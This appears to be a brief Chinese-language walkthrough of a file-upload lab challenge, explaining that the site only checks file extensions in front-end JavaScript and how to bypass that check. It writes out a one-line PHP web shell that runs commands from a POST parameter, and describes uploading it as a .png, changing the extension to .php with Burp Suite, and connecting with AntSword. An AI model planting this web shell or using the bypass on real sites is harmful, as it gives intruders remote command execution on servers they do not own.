代码:
1 | function checkFile() { |
lastIndexOf(“.”)函数的作用是“获取程序后缀”
虽然给了代码,但是光看这些代码还是不够的,必须要结合html看才行
1 | <h3>上传区</h3> |
在HTML中,我们看见checkFile()函数主要影响的是post时的onsubmit,相当于只有通过check才会构建post包进行上传。
这就是俗称的“前端检测”
个人认为,一般来说“前后端检测”的差别定义为“前端脚本(html,js)”和“后端脚本(php)”的区别,感觉也可以以构建数据包为分界,构建前检测的是“前端”,构建后检测的为“后端”。
既然这是一个前端脚本,那我们的目的只是绕过构筑数据包之前的部分。
所以先写一个一句话木马:<?php @system($_POST['a']);?>
然后把文件的后缀改为png
上传以后通过burpsuite抓包,将后缀改成php发送
用蚁剑连接成功
当然,这既然是前端脚本,而且是js,那就直接“禁用js”就行了